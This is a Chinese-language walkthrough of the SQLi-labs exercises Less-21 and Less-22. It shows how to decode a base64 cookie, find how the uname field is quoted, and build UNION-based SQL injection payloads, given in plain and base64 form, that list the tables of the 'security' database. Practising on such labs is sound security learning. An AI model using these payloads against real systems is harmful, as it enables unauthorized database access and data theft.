1. 题目分析
目前已经完成了Basic Challenges,相信小伙伴们对于SQL注入也有了一定程度的理解。但是,还是脱离不了小白的称号,那么今天我们就向Advanced Injections进军。
首先还是先登录进去看一下情况,
这一关卡和Less20的手法其实是一摸一样的,只不过多了一道加密解密的步骤。通过观察这个COOKIE
可以判断出来是一个加密过后的密文,而题目也给出了是base64
加密,那么我们就把这个复制下来解密一下看看。
可以看到YWRtaW4=
其实就是admin
通过base64
加密得到的。那么此时,这道题就变成了Less20
2. 通关思路
在这里我们要知道,此时我们的浏览器发送给服务器的COOKIE
是一段密文,当服务器端的处理程序拿到我们发送的COOKIE
的时候,要先经过解密,然后才会带入到SQL语句中执行。因此我们需要将自己构造的SQL注入语句通过base64
加密发送。
首先,来判断一下uname
的类型。
根据'admin'') LIMIT 0,1
可以判断出uname
是用('')
包裹的。然后我们通过构造SQL闭合,使用联合注入查询,进行查询。这里就列举一个查数据表的语句演示一下:
') union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #
将以上语句经过base64
编码后:
JykgdW5pb24gc2VsZWN0IDEsIGRhdGFiYXNlKCksIChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IikgIw==
把我们的COOKIE
进行更改,
然后,刷新页面,即可得到上图的结果。成功的得到了当前使用的数据库的名字为security
,和security
下有哪些数据表。
3. Less-22
Less-22和Less21手法是完全一样的,只不过21的uname
使用('')
闭合,我们需要构造') union select xxxx #
来进行注入。
而Less22的uname
使用双引号""
闭合,我们需要使用" union select xxx #
注入。
下面给出一个例子:
明文:" union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #
密文:IiB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKSwgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ic2VjdXJpdHkiKSAj
结果: